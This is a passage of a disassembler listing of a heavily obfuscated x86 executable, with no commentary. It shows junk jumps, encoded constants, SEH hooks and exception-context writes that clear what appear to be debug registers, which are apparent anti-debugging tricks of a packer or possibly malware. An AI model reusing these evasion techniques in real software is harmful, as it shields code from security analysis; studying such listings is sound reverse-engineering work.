--------------------------------------------------------------------------- align 4 dd 2B6DE800h, 40E90000h, 0FFFFA9h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43CCE4: ; CODE XREF: sub_439ED1+E0j push ecx jmp loc_43B595 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 xchg ebp, [esi] add ecx, eax jmp loc_43E829 ; --------------------------------------------------------------------------- align 2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_27. PRESS KEYPAD "+" TO EXPAND] align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F18B loc_43CCF9: ; CODE XREF: sub_43F18B-71CDj jmp nullsub_28 ; END OF FUNCTION CHUNK FOR sub_43F18B ; --------------------------------------------------------------------------- align 10h loc_43CD00: ; CODE XREF: _802izwe5:00439584j jg loc_43F81C ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43CD06: ; CODE XREF: sub_439ED1:loc_43F782j sub eax, 0E60F1B5Eh xor eax, 11A19572h call loc_439ACA add cl, ch push edx test eax, 0FFFFh loc_43CD1F: ; CODE XREF: sub_43D66E+ADEj jmp loc_43D17D ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dd 0B8FEE900h, 0E900FFFFh, 71Ah, 0D10CE281h, 0F281246Eh dd 7A1D7FCEh, 0E95ACA3Bh, 0B26h ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_13. PRESS KEYPAD "+" TO EXPAND] align 2 dw 72E9h dd 0FFFFE7h, 81CC8B00h, 10C1h, 0C7098B00h, 1001301h, 81C03300h dd 4C1h, 81018900h, 4C1h, 0D982E900h, 0FFFFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F734 loc_43CD74: ; CODE XREF: sub_43F734-210Bj call sub_438FC9 add cl, al ror byte ptr [eax], 81h mov byte ptr ds:6467A815h[esi], 8Fh push es ; END OF FUNCTION CHUNK FOR sub_43F734 ; --------------------------------------------------------------------------- db 0 dd 24048700h, 79B86858h, 1CE91C40h db 0CDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_43CD97: ; CODE XREF: _802izwe5:0043E2AEj jnz loc_43CDD2 add [ecx-67436137h], al xchg al, [ecx+15B6B8C1h] scasb or eax, esi jmp loc_43CDCA ; --------------------------------------------------------------------------- align 2 loc_43CDB2: ; CODE XREF: _802izwe5:0043B944j xchg eax, [esp] jmp loc_43BEAB ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_4390D8 loc_43CDBC: ; CODE XREF: sub_4390D8:loc_43BFE3j call sub_43BE3C ; END OF FUNCTION CHUNK FOR sub_4390D8 ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 9E5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_43CDCA: ; CODE XREF: _802izwe5:0043CDACj or esi, 0A8E9F848h sub ebp, ebx loc_43CDD2: ; CODE XREF: _802izwe5:loc_43CD97j sub edi, 0BE2AF8F0h add edi, 52280558h xor edi, 687DB4B3h call sub_43C3F1 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43CDEB: ; CODE XREF: sub_439ED1+1881j jmp loc_43AFED ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dd 0E9510000h, 0FFFFF5CFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43CDF8: ; CODE XREF: sub_439ED1-1183j mov [ecx], eax push esi push 8251DB4Ch pop esi jmp loc_4396A8 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dw 8B00h db 0CCh ; --------------------------------------------------------------------------- add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h add ecx, 18h mov al, [ecx] jmp loc_43B95F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43CE24: ; CODE XREF: sub_439ED1:loc_43E454j mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h add ecx, 18h mov al, [ecx] add ecx, 9Ch jmp loc_4378FC ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 dd 0C2880F00h, 10h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43CE50: ; CODE XREF: sub_439ED1+1FB9j jmp nullsub_3 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- popf cmp eax, ecx jmp loc_43DF0B ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43CE5F: ; CODE XREF: _802izwe5:loc_438563j mov dword ptr [ecx], offset loc_43A617 xor eax, eax pop ecx retn ; --------------------------------------------------------------------------- db 2 dup(0), 67h dd 36FF64h, 0D37FE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43CE76: ; CODE XREF: sub_439ED1+1142j xchg ebp, [esp+0] push 0E3C76B4Ch pop ecx rol ecx, 6 and ecx, 0E6D0E982h xor ecx, 1F2F3EFFh push 437498h jmp nullsub_20 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dd 0E3810000h, 0A4CCB15Bh, 0FFD026E9h, 8A0000FFh, 68E00544h dd 0AB791832h, 8C2815Ah, 81DF008Eh, 0C5D037CAh, 18C28103h dd 0F671E0Ah, 0FFB8CC85h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43CECB: ; CODE XREF: sub_439ED1+D3Ej jmp near ptr dword_437428+0A9h ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43CED2: ; CODE XREF: sub_439ED1+B19j jnb nullsub_36 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; =============== S U B R O U T I N E ======================================= sub_43CED8 proc near ; CODE XREF: _802izwe5:0043B358p xchg eax, [esp+0] xchg ecx, [esp+0] mov eax, ecx pop ecx jmp loc_43EDD4 sub_43CED8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 locret_43CEE8: ; CODE XREF: _802izwe5:loc_438464j retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43CEEB: ; CODE XREF: _802izwe5:00438D70j jmp loc_439043 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43CEF2: ; CODE XREF: _802izwe5:loc_43D4E2j push dword ptr fs:0 mov fs:0, esp jmp loc_43CACD ; --------------------------------------------------------------------------- align 4 db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_46. PRESS KEYPAD "+" TO EXPAND] dw 0E900h dd 0FFFFA4C8h, 59C03300h, 670000C3h, 36FF64h, 89646700h dd 0E9000026h, 0FFFFC036h dword_43CF24 dd 8B241C87h, 7E685BCBh, 0E90043CCh, 1CD6h; [00000001 BYTES: COLLAPSED FUNCTION nullsub_32. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_43CF35: ; CODE XREF: _802izwe5:0043C419j jmp loc_4396D5 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F18B loc_43CF3B: ; CODE XREF: sub_43F18B-75BDj jmp loc_43D0B4 ; END OF FUNCTION CHUNK FOR sub_43F18B ; --------------------------------------------------------------------------- dd 99F08100h, 3010150h, 98B58C8h, 1301C7h, 68570001h, 9A7A232Bh dd 12B3E9h, 81000000h, 0A0C1h, 0AE01C700h, 330043EEh, 0F1E959C0h dd 67FFFFB4h, 36FF64h, 89646700h, 0E9000026h, 0FFFFEC98h db 2 dup(0) ; --------------------------------------------------------------------------- loc_43CF86: ; CODE XREF: _802izwe5:00438D84j ja loc_43F34F push ecx jl loc_43A134 jmp near ptr dword_438CD8+3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43CF98: ; CODE XREF: sub_43C65A+2E6j or edx, 0C72574B6h and edx, 93F68A55h xor edx, 93B60011h add ecx, edx pop edx mov [ecx], eax jmp loc_43964A ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43CFB5: ; CODE XREF: sub_439ED1+393j pop ecx retn ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 67h dd 36FF64h, 89646700h, 0E9000026h, 0FFFFE87Ch, 0C8C10000h db 5 ; =============== S U B R O U T I N E ======================================= sub_43CFCD proc near ; CODE XREF: sub_439ED1:loc_43AFEDp xchg edi, [esp+0] pop edi mov byte ptr [ecx], 9Dh pop ecx add edx, ebp jmp loc_43AB5E sub_43CFCD endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43CFDD: ; CODE XREF: _802izwe5:0043C4FCj jno loc_43C9AB push 2A7D350Bh ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43CFE8: ; CODE XREF: sub_439ED1:loc_43C4ECj add eax, 0B3EADB8Fh and eax, 0DCE2DC7h xor eax, 53593F4Dh add eax, ebp call sub_43C50C jmp loc_439FEC ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dw 168Bh dd 0DFB9E955h, 448AFFFFh, 0D7E8E005h, 0FFFFEDh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43D018: ; CODE XREF: sub_439ED1:loc_43DB45j ; sub_43F688-821j mov ecx, esp loc_43D01A: ; CODE XREF: _802izwe5:loc_43BE4Aj add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h jmp loc_439032 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 2 word_43D02E dw 0CC3Eh ; CODE XREF: sub_43BC7E+Cj ; --------------------------------------------------------------------------- jmp loc_43F634 ; --------------------------------------------------------------------------- db 2 dup(0), 87h dd 8B5B241Ch, 0FC00900h, 685h, 0B821E900h, 0C300FFFFh dd 93E90000h, 0FFFFC4h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43D054: ; CODE XREF: sub_439ED1+163j jmp loc_4388F8 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43D05B: ; CODE XREF: _802izwe5:00438ED2j jmp loc_43C124 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43D061: ; CODE XREF: _802izwe5:00437EA1j jmp locret_4383B8 ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_43D067 proc far ; CODE XREF: sub_43F3B2+Fp push offset loc_43B175 jmp locret_439FD6 sub_43D067 endp ; --------------------------------------------------------------------------- db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_44. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437E10 loc_43D074: ; CODE XREF: sub_437E10+Cj jmp nullsub_43 ; END OF FUNCTION CHUNK FOR sub_437E10 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43D079: ; CODE XREF: sub_43C65A:loc_43C8D8j ; sub_439ED1+324Aj mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h add ecx, 18h jmp loc_43A97B ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- locret_43D095: ; CODE XREF: _802izwe5:0043DC38j retn ; --------------------------------------------------------------------------- align 4 dd 36FF6467h, 64670000h, 2689h, 0FFEA5BE9h db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43D0A9: ; CODE XREF: sub_439ED1:loc_43E460j db 65h icebp test edi, ecx jmp loc_43850F ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_43F18B loc_43D0B4: ; CODE XREF: sub_43F18B:loc_43CF3Bj pop esi jp loc_4383FA and ebp, edi jmp loc_43B7A6 ; END OF FUNCTION CHUNK FOR sub_43F18B ; --------------------------------------------------------------------------- dw 6853h ; --------------------------------------------------------------------------- xchg eax, edx test ch, ch mov ebx, [ebx+68h] sbb [eax+46E90043h], cl sar bh, 1 inc dword ptr [eax] add cl, al retf 0E914h ; --------------------------------------------------------------------------- db 0ECh, 0BEh, 0FFh ; --------------------------------------------------------------------------- inc dword ptr [eax] add [ecx+4C1h], al add bh, al add [ecx], ebp rol dword ptr [ebx+0], 1 xor eax, eax pop ecx retn ; --------------------------------------------------------------------------- db 67h dd 36FF64h, 89646700h, 0E9000026h, 0FFFFCCD5h, 0E426D981h dd 6467C127h, 68Fh, 2 dup(58240487h), 0FFE937E9h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43D11A: ; CODE XREF: sub_439ED1:loc_43D2B6j push ecx jmp loc_43D079 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dd 5E820F00h, 89FFFFAAh, 8F646731h, 87000006h, 68582404h dd 8FEAFF9Fh, 14C18159h, 0E9301FF5h, 1871h db 0 ; --------------------------------------------------------------------------- loc_43D145: ; CODE XREF: _802izwe5:loc_4380C1j mov eax, ebp pop ebp push edi push 55907E5Fh pop edi sub edi, 0AB25D950h xor edi, 0CAA896AAh jmp loc_43854C ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43D162: ; CODE XREF: _802izwe5:004391C8j xchg eax, [esp] pop eax push esi loc_43D167: ; DATA XREF: sub_4391DC+1o mov esi, 0F064EF68h lock pop esi sub esi, 2D4D7002h rol esi, 2 jmp loc_43B7EE ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43D17D: ; CODE XREF: sub_439ED1:loc_43CD1Fj push ecx jmp loc_43F3E6 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 loc_43D184: ; CODE XREF: sub_43DD0C+Aj push esi push 35D08C1h pop esi xor esi, 201300C8h and esi, 76F55A35h or esi, 0F5D175BCh add esi, 86DF755h xchg esi, [esp] jmp loc_4383C8 ; --------------------------------------------------------------------------- db 0F0h db 0CCh ; --------------------------------------------------------------------------- jmp loc_43D518 ; --------------------------------------------------------------------------- dw 6467h dd 36FFh, 0FFD105E8h db 0FFh ; --------------------------------------------------------------------------- loc_43D1BD: ; CODE XREF: _802izwe5:004382ABj jmp loc_4388BB ; --------------------------------------------------------------------------- align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_42. PRESS KEYPAD "+" TO EXPAND] align 2 dw 9ABFh dd 0E90043C1h, 0FFFFDE8Ah ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43D1D0: ; CODE XREF: sub_439ED1:loc_43ACDBj adc eax, 0D3DF0900h xor esi, eax jmp loc_43D8F1 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0), 0Fh dd 0FFA9E485h, 0C9C681FFh, 0BDA5B035h, 24A6914h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43D1F0: ; CODE XREF: sub_43C65A:loc_43CB6Dj and edi, 0A4881A3Ch add edi, 0DBF257B2h add edi, ebp push ecx push 6A5B227Bh jmp loc_437CA7 ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- or ebx, 60DB4CD4h jmp sub_4397E9 ; --------------------------------------------------------------------------- pushf jmp loc_43D571 ; --------------------------------------------------------------------------- dw 8100h ; --------------------------------------------------------------------------- xlat push ss cmp [ebx+14EDC108h], ebx mov edx, esi jmp loc_437963 ; --------------------------------------------------------------------------- align 4 jns loc_43E027 push edx mov edx, ecx xchg edx, [esp] push offset byte_438703 jmp locret_4386F6 ; --------------------------------------------------------------------------- mov ecx, esp loc_43D244: ; CODE XREF: _802izwe5:loc_43985Bj add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h xor eax, eax jmp near ptr word_438546+1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43D259: ; CODE XREF: sub_43C65A:loc_43C44Dj pop esi sub esi, 43B34ED4h rol esi, 1Ch add esi, 9F558480h xchg esi, [esp-0Ch+arg_4] jmp loc_43A25D ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- db 2 dup(0), 59h dd 0A090C981h, 0E1819D32h, 0A89E1E01h, 0A26AF181h, 0CD034D0Ah dd 0FFBB29E9h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; START OF FUNCTION CHUNK FOR sub_43C034 loc_43D28E: ; CODE XREF: sub_43C034:loc_43AF6Fj jge loc_439D3F jmp nullsub_39 ; END OF FUNCTION CHUNK FOR sub_43C034 ; --------------------------------------------------------------------------- align 2 dw 4568h dd 0E974F10Bh, 0FFFFCA93h, 0C30000h, 0FFA0BAE9h, 0A575E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43D2B2: ; CODE XREF: sub_439ED1+921j xor eax, eax pop ecx locret_43D2B5: ; CODE XREF: sub_43C65A:loc_43C83Cj retn ; --------------------------------------------------------------------------- loc_43D2B6: ; CODE XREF: sub_439ED1+3B4Cj jmp loc_43D11A ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 dd 0FFA892E9h, 0E90000FFh, 0FFFFA83Dh, 64670000h, 36FFh dd 0FFD0DEE9h db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43844A loc_43D2D5: ; CODE XREF: sub_43844A:loc_43EF53j xor edi, 311B1690h sub edi, 0BB3EBA5Eh add edi, 0A9067E0Eh jmp loc_43F049 ; END OF FUNCTION CHUNK FOR sub_43844A ; --------------------------------------------------------------------------- dd 840F0000h, 0FFFFAEE6h, 0B569C1B9h, 10D8E93Fh, 51000000h dd 0FFC809E9h, 7AC781FFh, 0F795C6E6h, 0C7h, 0CC7EE908h dd 0FFFFh ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] align 2 ; =============== S U B R O U T I N E ======================================= sub_43D31A proc near ; CODE XREF: sub_43C65A:loc_43C893p push dword ptr fs:0 push offset loc_439D6B jmp nullsub_37 sub_43D31A endp ; --------------------------------------------------------------------------- or ebx, 0B722A09h jmp sub_43E530 ; --------------------------------------------------------------------------- align 2 dw 70E8h dd 0E9FFFFE1h, 0FFFFD824h, 0B7F18100h, 3C00AF4h, 7BE959C1h dd 0FFFFC9h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BE3C loc_43D351: ; CODE XREF: sub_43BE3C:loc_43C260j call sub_43DA03 jmp loc_43A7BF ; END OF FUNCTION CHUNK FOR sub_43BE3C ; --------------------------------------------------------------------------- align 4 call ds:dword_4270C0 ; ExitProcess push eax mov eax, edi xchg eax, [esp] push 0ACE09BC5h pop edi xor edi, 0CF4406Bh jmp loc_439A76 ; --------------------------------------------------------------------------- db 2 dup(0) db 8Bh ; ‹ db 0CCh ; Ì db 81h ; db 0C1h ; Á db 10h db 0 db 0 db 0 ; --------------------------------------------------------------------------- loc_43D383: ; CODE XREF: _802izwe5:loc_43ECFAj mov ecx, [ecx] mov dword ptr [ecx], 10013h add ecx, 18h jmp loc_439E56 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43D398: ; CODE XREF: sub_43C65A:loc_43D5BCj rol esi, 0Ah xor esi, 643FE01Fh add ecx, esi pop esi jmp near ptr dword_438368+2 ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- align 2 loc_43D3AA: ; CODE XREF: _802izwe5:0043920Ej ; DATA XREF: sub_439ED1:loc_43C43Do call sub_4378C2 ; START OF FUNCTION CHUNK FOR sub_43E3D6 loc_43D3AF: ; CODE XREF: sub_43E3D6+FB8j jmp nullsub_30 ; END OF FUNCTION CHUNK FOR sub_43E3D6 ; --------------------------------------------------------------------------- dd 24048700h, 100C881h, 4870000h, 0E9909D24h, 0FFFFC6E6h dd 57510000h, 4384A5BFh, 0CF05E900h, 8900FFFFh, 24348710h dd 9C5EC68Bh, 0FFFBD2E8h, 0C5E0E9FFh, 6800FFFFh, 0F25DB1ABh dd 0DC7C15Fh, 2465EF81h, 0E78123FEh, 0CEC47B4Ah, 0C7F7h dd 92E94000h, 0Ah db 0 ; =============== S U B R O U T I N E ======================================= sub_43D40D proc far ; CODE XREF: sub_439ED1:loc_439E1Ap ; FUNCTION CHUNK AT 0043C4B8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D5F0 SIZE 00000006 BYTES call near ptr sub_43E066 jmp loc_43D5F0 sub_43D40D endp ; --------------------------------------------------------------------------- loc_43D417: ; CODE XREF: _802izwe5:00438906j test ecx, 5B61FE22h jmp loc_43A758 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43D423: ; CODE XREF: _802izwe5:0043D509j mov ecx, esp add ecx, 10h mov ecx, [ecx] push offset loc_438D53 jmp loc_43732B ; --------------------------------------------------------------------------- align 4 dd 29DEE68h, 0CFD4E934h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43D443: ; CODE XREF: sub_439ED1:loc_43A8BBj push ecx jmp loc_43F31B ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 2 mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h xor eax, eax add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax jmp loc_43A7EC ; --------------------------------------------------------------------------- loc_43D489: ; CODE XREF: _802izwe5:0043857Aj xchg eax, [esp] pop eax add ecx, eax pop eax mov [ecx], eax add ecx, 0A0h mov dword ptr [ecx], offset loc_43EF35 jmp loc_43F62E ; --------------------------------------------------------------------------- xor ebp, esi jmp sub_43F734 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43D4AB: ; CODE XREF: sub_439ED1:loc_439FA2j mov ecx, esp push edi call loc_43A515 loc_43D4B3: ; CODE XREF: sub_439ED1+11F0j add cl, ch lodsw ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0FFh ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_43D4BA: ; CODE XREF: _802izwe5:00438E5Ej jnz loc_437E93 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43D4C2: ; CODE XREF: _802izwe5:0043928Dj jmp loc_43A045 ; --------------------------------------------------------------------------- not esi adc edx, edi jns loc_438A39 jmp loc_437E90 ; --------------------------------------------------------------------------- db 0 byte_43D4D7 db 9Dh ; DATA XREF: sub_439ED1+50E8o dd 0E0055488h, 1189E8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_43D4E2: ; CODE XREF: _802izwe5:0043BFC6j jmp loc_43CEF2 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43D4E8: ; CODE XREF: sub_439ED1+16F9j jmp near ptr dword_438810+49h ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0), 0C6h ; --------------------------------------------------------------------------- pop es mov eax, [edi-474DBE4h] pop ebx xchg eax, [esp] mov edx, eax pop eax rol edx, 4 jmp loc_43F340 ; --------------------------------------------------------------------------- dw 0C300h ; --------------------------------------------------------------------------- loc_43D508: ; CODE XREF: _802izwe5:00437271j push ecx jmp loc_43D423 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_41. PRESS KEYPAD "+" TO EXPAND] align 10h dd 0CA40E900h, 0FFFFh ; --------------------------------------------------------------------------- loc_43D518: ; CODE XREF: _802izwe5:0043D1ADj jmp loc_43DD32 ; --------------------------------------------------------------------------- db 2 dup(0), 0F0h dd 92E955F1h, 0FFFFC1h, 4779D968h, 0ECF6E931h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F088 loc_43D533: ; CODE XREF: sub_43F088+Ej push esi mov esi, 4381B0h jmp loc_438CA8 ; END OF FUNCTION CHUNK FOR sub_43F088 ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_24. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_43D540: ; CODE XREF: _802izwe5:00438896j jmp loc_43ED4E ; --------------------------------------------------------------------------- align 2 not esi jmp near ptr sub_43D66E ; --------------------------------------------------------------------------- align 2 word_43D54E dw 8B57h ; DATA XREF: sub_439ED1+A5Do dd 243C87FAh, 43E13ABAh, 0E817E900h, 0BE00FFFFh, 51450208h dd 0B6B5C281h, 95E98C82h, 0FFFFB0h db 0 ; --------------------------------------------------------------------------- loc_43D571: ; CODE XREF: _802izwe5:0043D215j mov edx, ecx ; =============== S U B R O U T I N E ======================================= sub_43D573 proc far ; CODE XREF: _802izwe5:loc_43DF39p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0043EA4C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F29C SIZE 0000000E BYTES xchg eax, [esp+0] xchg ebp, [esp+0] mov eax, ebp jmp loc_43EA4C sub_43D573 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D600 loc_43D580: ; CODE XREF: sub_43D600+7C7j push ecx jmp loc_43B3A5 ; END OF FUNCTION CHUNK FOR sub_43D600 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43D587: ; CODE XREF: sub_439ED1:loc_43E740j mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h xor eax, eax jmp loc_43C84D ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- locret_43D59E: ; CODE XREF: _802izwe5:0043EF2Fj retn ; --------------------------------------------------------------------------- align 10h loc_43D5A0: ; CODE XREF: _802izwe5:0043F20Cj jmp locret_43A8BA ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C0C5 loc_43D5A7: ; CODE XREF: sub_43C0C5+2AF6j jmp near ptr dword_438778+4Ah ; END OF FUNCTION CHUNK FOR sub_43C0C5 ; --------------------------------------------------------------------------- dd 8FE90000h, 56FFFFFCh, 2E8F18Bh, 0FFFFC9h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43D5BC: ; CODE XREF: sub_43C65A+19Bj jmp loc_43D398 ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- db 89h, 1, 81h dd 4C1h, 56018900h, 97A2689Ch, 0E95E40ECh, 0FFFFD967h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43D5DA: ; CODE XREF: sub_439ED1:loc_438616j mov [ecx], eax add ecx, 0A0h mov dword ptr [ecx], offset loc_438EC5 xor eax, eax jmp loc_43A636 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_43D40D loc_43D5F0: ; CODE XREF: sub_43D40D+5j push ecx jmp loc_43C4B8 ; END OF FUNCTION CHUNK FOR sub_43D40D ; --------------------------------------------------------------------------- dw 8700h dd 0BB51E9EEh, 0FFFFh ; =============== S U B R O U T I N E ======================================= sub_43D600 proc near ; CODE XREF: sub_439ED1:loc_43AB5Ep ; _802izwe5:0043E154j ; FUNCTION CHUNK AT 0043873D SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0043B3A5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D580 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043DDBF SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043E904 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0043F1AE SIZE 00000014 BYTES xchg ecx, [esp+0] pop ecx push esi push 7AFC2E8Ah jmp loc_43873D sub_43D600 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h dd 0C68B5000h dword_43D614 dd 0F240493h, 190D89h, 74E95500h, 0FFFFD1h; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F734 loc_43D624: ; CODE XREF: sub_43F734:loc_43DAB8j mov ebx, offset dword_43AC9C jmp loc_43CD74 ; END OF FUNCTION CHUNK FOR sub_43F734 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F3B2 loc_43D62F: ; CODE 